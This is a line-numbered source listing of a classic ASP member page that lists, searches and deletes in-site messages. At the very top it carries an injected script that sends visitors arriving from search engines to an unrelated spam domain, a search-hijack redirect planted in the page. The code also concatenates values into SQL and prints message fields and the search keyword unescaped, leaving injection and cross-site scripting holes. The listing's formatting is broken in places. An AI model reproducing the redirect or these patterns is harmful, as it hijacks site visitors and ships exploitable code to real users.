d:\wwwroot\wuchunhua\zn_message.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="head.asp"-->
002:
<%
if session("china_uid")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
dim sql,rs
007:
keyword=replace(trim(request.form("keyword")),"'","")
008:
if keyword <>"" then
009:
sql="select * from china_message where (uid='"&session("china_uid")&"' or uid='all') and zn='yes' and ( messagename like '%" & keyword & "%' or messagelxfs like '%" & keyword & "%' or messagetext like '%" & keyword & "%' ) order by id desc"
010:
else
011:
sql="select * from china_message where (uid='"&session("china_uid")&"' or uid='all') and zn='yes' order by id desc"
012:
end if
013:
set rs=server.createobject("adodb.recordset")
014:
rs.open sql,conn,1,3
%
>
015:
<SCRIPT language=javascript>
016:
function CheckAll(form)
017:
{
018:
for (var i=0;i<form.elements.length;i++)
019:
{
020:
var e = form.elements[i];
021:
if (e.Name != "chkAll")
022:
e.checked = form.chkAll.checked;
023:
}
024:
}
025:
function Checked()
026:
{
027:
var j = 0
028:
for(i=0;i < document.form.elements.length;i++){
029:
if(document.form.elements[i].name == "adid"){
030:
if(document.form.elements[i].checked){
031:
j++;
032:
}
033:
}
034:
}
035:
return j;
036:
}
037:
038:
function DelAll()
039:
{
040:
if(Checked() <= 0){
041:
alert("您至少选择1条消息!");
042:
}
043:
else{
044:
if(confirm("确定要删除选择的消息吗？\n此操作不可以恢复！")){
045:
form.action="del.asp?del=message";
046:
form.submit();
047:
}
048:
}
049:
}
050:
051:
</SCRIPT>
052:
<FORM name=form method=post>
053:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
054:
<tr>
055:
<td bgcolor="CAE2F8" align="center"><TABLE width=100% border=0 cellPadding=0 cellSpacing=0>
056:
<TBODY>
057:
<TR bgcolor="EFF7FE">
058:
<TD width=23 vAlign=middle align="center"><IMG alt=arrow
059:
src="images/arrow_01.gif"></TD>
060:
<TD height="28"><a href="user.asp"><font color="#CC0000">会员中心</font></a>
061:
>> 查看站内消息</TD>
062:
<TD width="45" align="center"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></TD>
063:
</TR>
064:
</TBODY>
065:
</TABLE></td>
066:
</tr>
067:
<tr>
068:
<td bgcolor="#FFFFFF"> <br>
069:
<table width="750" border="0" align="center" cellpadding="0" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="CAE2F8">
070:
<tr bgcolor="EFF7FE">
071:
<td width="30" align="center">编号</td>
072:
<td align="center" height="28">发送人</td>
073:
<td align="center">接收人</td>
074:
<td align="center">标题</td>
075:
<td align="center">内容</td>
076:
<td align="center">发送日期</td>
077:
<td width="30" align="center"><input id=chkAll
078:
onClick=CheckAll(this.form) type=checkbox
079:
value=checkbox name=chkAll></td>
080:
</tr>
081:
<%
if rs.eof or rs.bof then
082:
response.write"<tr bgcolor=#FFFFFF><td colspan='10'><p align='center'><font color='red'>暂无相关消息！</font></td></tr></table><br>"
083:
'response.end
084:
else
085:
const maxperpage=20
086:
dim currentpage
087:
rs.pagesize=maxperpage
088:
currentpage=request.querystring("pageid")
089:
if isnumeric(currentpage)=false then
090:
response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
091:
response.end
092:
end if
093:
if currentpage="" then
094:
currentpage=1
095:
elseif currentpage<1 then
096:
currentpage=1
097:
else
098:
currentpage=clng(currentpage)
099:
if currentpage > rs.pagecount then
100:
currentpage=rs.pagecount
101:
end if
102:
end if
103:
104:
dim totalput,n
105:
totalput=rs.recordcount
106:
if totalput mod maxperpage=0 then
107:
n=totalput\maxperpage
108:
else
109:
n=totalput\maxperpage+1
110:
end if
111:
if n=0 then
112:
n=1
113:
end if
114:
rs.move(currentpage-1)*maxperpage
115:
i=0
116:
do while i< maxperpage and not rs.eof
117:
messagetext=rs("messagetext")
118:
rs("hits")=1
119:
rs.update
120:
%
>
121:
<tr bgcolor="#FFFFFF">
122:
<td height="28"><p align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
123:
<td height="28" valign="top">
<%
=rs("messagename")
%
></td>
124:
<td valign="top" height="28">
125:
<%
if rs("uid")="all" then
%
>
126:
全部会员
127:
<%
else
%
>
128:
<%
=rs("uid")
%
>
129:
<%
end if
%
>
130:
</td>
131:
<td height="28" valign="top">
<%
=rs("messagelxfs")
%
></td>
132:
<td height="28" valign="top">
<%
=messagetext
%
></td>
133:
<td height="28"><p align="center">
<%
=rs("messagedate")
%
></td>
134:
<td height="28" align="center" bgcolor="#FFFFFF">
<%
if rs("uid")="all" then
%
>
135:
<b><font color="#FF0000">!</font></b>
<%
else
%
><input type="checkbox" name="adid" value="
<%
=rs("id")
%
>" onClick=Checked(form)>
<%
end if
%
></td>
136:
</tr>
137:
<%
i=i+1
138:
rs.movenext
139:
loop
140:
rs.close:set rs=nothing
141:
end if
%
>
142:
</table>
143:
<br>
144:
</td>
145:
</tr>
146:
</table></FORM>
147:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
148:
<tr>
149:
<td height="28" bgcolor="#FFFFFF">
150:
<p align="center">页数：
<%
=currentpage
%
>/
<%
=n
%
>
151:
<%
k=currentpage
152:
if k<>1 then
%
>
153:
<a href="?pageid=1">首页</a> <a href="?pageid=
<%
=k-1
%
>">上一</a>
154:
<%
else
%
>
155:
首页 上一页
156:
<%
end if
%
>
157:
<%
if k<>n then
%
>
158:
<a href="?pageid=
<%
=k+1
%
>">下一</a> <a href="?pageid=
<%
=n
%
>">尾页</a>
159:
<%
else
%
>
160:
下一页 尾页
161:
<%
end if
%
>
162:
共有
<%
=totalput
%
> 条消息
163:
</td>
164:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
165:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
166:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
167:
</form>
168:
</tr>
169:
</table>
170:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
171:
<tr>
172:
<td height="6"></td>
173:
</tr>
174:
</table>
175:
<!--#include file="foot.asp"-->
176:
177: